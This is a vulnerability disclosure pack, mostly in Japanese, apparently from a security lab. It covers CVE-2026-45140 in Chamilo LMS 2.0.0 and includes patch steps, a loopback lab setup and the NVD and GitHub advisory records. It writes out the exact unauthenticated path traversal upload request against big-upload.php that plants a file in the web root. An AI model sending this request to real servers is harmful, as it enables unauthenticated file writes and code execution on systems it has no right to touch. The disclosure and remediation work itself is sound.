abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  CVE-2026-45140

CVE-2026-45140

Chamilo LMS 2.0.0 — chamilo

Chamilo LMS はオープンソースの学習管理システムです。2.0.1 より前のバージョンでは、Chamilo LMS は未認証のリモート攻撃者がサーバー上で任意のコードを実行することを許可します。公式アドバイザリは、影響を受けるエンドポイント、コンポーネント、入力、または悪用メカニズムを特定していません。この問題はバージョン 2.0.1 で修正されています。

アドバイザリ（ソースマップより）

CStudio アップロードは PHP ファイル big-upload.php であり、Symfony の action= ではありません。HTTP はそのプラグインパスです。

エントリ

• メソッド: POST
• パス: /plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txt
• ルーター: 未認証の CStudio BigUpload。GET/POST の key はサニタイズなしで cacheDir/cstudio_upload/ に連結されます。action=upload はそこに php://input を追記します。public/poc-witness.txt へのトラバーサル。その後 GET /poc-witness.txt。
• 注記: CVE-2026-45140 CWE-22/434/94: public/plugin/CStudio/editor/import-project/inc/big-upload.php には 2.0.0 で api_get_user_id() がありません。2.0.1 では 403 + disable_dangerous_file が追加されています。Witness は GET /poc-witness.txt 内の POCWitness45140（プレーンテキスト）です。シェルではありません。アップロードの fopen() は追記を使用します。同じ .php ファイル内の 2 つ目の <?php タグはパースエラーになるため、ラボの witness は .txt です。

コールチェーン

• POST /plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txt body=POCWitness45140
• BigUpload::setTempName(key) + uploadFile() fopen(cache/cstudio_upload/ + key)
• GET /poc-witness.txt → POCWitness45140

ラボの前提条件

• Chamilo LMS 2.0.0 がインストールされている（APP_INSTALLED=1、settings 行 chamilo_database_version）
• CStudio プラグインファイルが public/plugin/CStudio 配下に存在する
• Apache のドキュメントルートが public/ である
• var/cache が書き込み可能である

Witness

GET /poc-witness.txt のボディに POCWitness45140 が含まれる。ホームの HTML やインストールリダイレクトはファイル書き込みの witness ではありません。

成功ではないもの

• 一般的な 200 Chamilo ホーム HTML
• /main/install/index.php への 302
• 403 Forbidden（2.0.1 で修正済み）
• リバースシェルまたは外向き接続
• system()/exec() の PHP ペイロード

パッチ / 修復

まずこれを実施: Chamilo LMS を 2.0.1 以降に更新してください。

アップグレード後の確認

• 修正済みビルドに対して CVE-2026-45140-Abraxas-Labs.py を再実行する: マップされた witness が出現しないことを確認する。
• デプロイされたツリーでベンダーアドバイザリ / チェンジセットを確認する（参考文献を参照）。
• WAF シグネチャは遅延であり、パッチではありません。

すぐに更新できない場合

• 影響を受けるコンポーネントを無効化または隔離する。
• 本番環境で witness 条件を探す（新たな特権ユーザー、予期しないファイル、注入された行 — この CVE のマップが示すものは何でも）。

再現（許可されたラボ）

http://127.0.0.1:8088（またはバインドしたループバック）のみを対象にしてください。このスクリプトをインターネットに向けないでください。

python3 CVE-2026-45140-Abraxas-Labs.py

成功とは、レスポンスボディ内の上記の witness です。一般的な 200 HTML ではありません。

ラボイメージ

再現に使用したループバックスタック。このフォルダ内の Dockerfile がソースからビルドする場合を除き、公式イメージです。

• lab/docker-compose.yml
• lab/Dockerfile

cd lab
docker compose up --force-recreate

YAML がローカルディレクトリをマウントする場合（バージョン表のプラグイン zip / ソースタグ）、脆弱な製品ツリーを Compose の隣にバインドしてください。127.0.0.1 以外は何も公開しないでください。

参考文献

• CVE-2026-45140 · NVD

• CVE-2026-45140 · CVE.org

• github.com/chamilo/chamilo-lms/commit/4bdba1b9a8820bd70c0809317775d7f6eaa79844

• github.com/chamilo/chamilo-lms/releases/tag/v2.0.1

• github.com/chamilo/chamilo-lms/security/advisories/GHSA-g4c3-4g96-6g4m

• github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45140.json

• nvd.nist.gov/vuln/detail/CVE-2026-45140

• github.com/advisories/GHSA-g4c3-4g96-6g4m

• Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null

レコード（構造化）

# CVE-2026-45140  (structured records)

- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-45140`
- CWE: CWE-22, CWE-94, CWE-219, CWE-434
- published: 2026-09-17T21:17:12.440

## NVD description

Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.

## MITRE description

Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.

## Affected

- chamilo chamilo-lms < 2.0.1 affected
- OSV: 

## References (JSON sources only)

- https://github.com/chamilo/chamilo-lms/commit/4bdba1b9a8820bd70c0809317775d7f6eaa79844
- https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.1
- https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-g4c3-4g96-6g4m
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45140.json
- https://nvd.nist.gov/vuln/detail/CVE-2026-45140
- https://github.com/advisories/GHSA-g4c3-4g96-6g4m

## GitHub advisory

Chamilo LMS CStudio upload flow allows unauthenticated remote code execution

### Impact
Ability to run arbitrary code on the server without authentication.

## OSV

Chamilo LMS CStudio upload flow allows unauthenticated remote code execution

Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.

ライセンス

この開示パックは GNU Affero General Public License v3.0 の下でライセンスされています。LICENSE を参照してください。

免責事項

このパックはベンダー、サイト所有者、およびライセンスを受けたラボ向けです。スクリプトは 127.0.0.1 と通信します。所有していないシステムに対して使用することは Abraxas Labs によって許可されていません。保証はありません。

abraxaslabs.tech · github.com/abraxas · @abraxas_null